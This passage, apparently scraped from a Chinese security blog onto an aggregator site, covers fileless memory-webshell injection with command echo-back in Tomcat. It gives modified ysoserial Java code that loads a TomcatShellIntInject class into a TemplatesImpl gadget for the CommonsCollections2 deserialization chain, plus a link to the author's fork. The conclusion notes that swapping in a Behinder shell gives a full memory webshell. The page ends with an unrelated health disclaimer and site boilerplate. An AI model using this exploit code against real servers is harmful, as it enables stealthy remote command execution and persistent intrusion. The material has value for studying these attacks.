系统自动返显方法 数据回显是什么意思( 六 )


public static Object createTemplatesImpl_shell ( final String command ) throws Exception {if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {return createTemplatesImpl(command,Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));}return createTemplatesImpl_shell(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);}public static <T> T createTemplatesImpl_shell ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )throws Exception {final T templates = tplClass.newInstance();// use template gadget classClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));pool.insertClassPath(new ClassClassPath(abstTranslet));final CtClass clazz = pool.get(StubTransletPayload.class.getName());final byte[]classBytes = ClassFiles.classAsBytes(TomcatShellIntInject.class);//final byte[] classBytes = clazz.toBytecode();// inject class bytes into instanceReflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});// required to make TemplatesImpl happyReflections.setFieldValue(templates, "_name", "Pwnr");Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());return templates;}这里拿cc2链来测试,复制cc2链代码 。将getObject方法修改
final Object templates = Gadgets.createTemplatesImpl_shell(command);github:https://github.com/nice0e3/ysoserial-master
0x05 Reference#基于全局储存的新思路 | Tomcat的一种通用回显方法研究
Tomcat中一种半通用回显方法
基于tomcat的内存 Webshell 无文件攻击技术
Java Web代码执行漏洞回显总结
Shiro 550 漏洞学习 (二):内存马注入及回显
0x06 结尾#说到底,其实中间件回显就是获取Request 和Response对象,拿到以后借助拿到的Request 和Response对象进行回显,而内存马则是使用获取到的这两对象从而获取到Context进行动态添加Filter 。而文中并没有去实现冰蝎等内存shell,而只实现了一个cmd的shell 。同理,只需将恶意Fliter修改成冰蝎的shell即可 。


以上关于本文的内容,仅作参考!温馨提示:如遇健康、疾病相关的问题,请您及时就医或请专业人士给予相关指导!

「四川龙网」www.sichuanlong.com小编还为您精选了以下内容,希望对您有所帮助: